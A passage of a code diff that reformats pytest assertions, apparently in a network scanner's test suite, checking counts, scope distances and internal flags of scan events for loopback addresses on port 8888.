== 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["input"] == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.77:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.88:8888/" + and e.internal is True + and e.scope_distance == 2 + ] + ) assert len(all_events_nodups) == 16 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["input"] == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + and "spider-danger" in e.tags + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.77:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.88:8888/" + and e.internal is True + and e.scope_distance == 2 + ] + ) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 8 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "URL" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"] + ) + assert 0 == len( + [ + e + for e in _graph_output_events + if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and "spider-danger" in e.tags + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "URL" + and e.url == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + ] + ) + assert 0 == len( + [ + e + for e in _graph_output_events + if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"] + ) # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -492,85 +1469,481 @@ def custom_setup(scan): ) assert len(events) == 8 - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in events + if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert len(all_events) == 22 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["input"] == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + and "spider-danger" in e.tags + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.77:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.88:8888/" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.88:8888" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.88:8888/" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.99:8888/" + and e.internal is True + and e.scope_distance == 3 + ] + ) assert len(all_events_nodups) == 20 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["input"] == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + and "spider-danger" in e.tags + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.77:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.88:8888/" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.88:8888" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["url"] == "http://127.0.0.88:8888/" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.99:8888/" + and e.internal is True + and e.scope_distance == 3 + ] + ) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 8 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "URL" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + assert 1 == len( + [ + e + for e in _graph_output_events + if 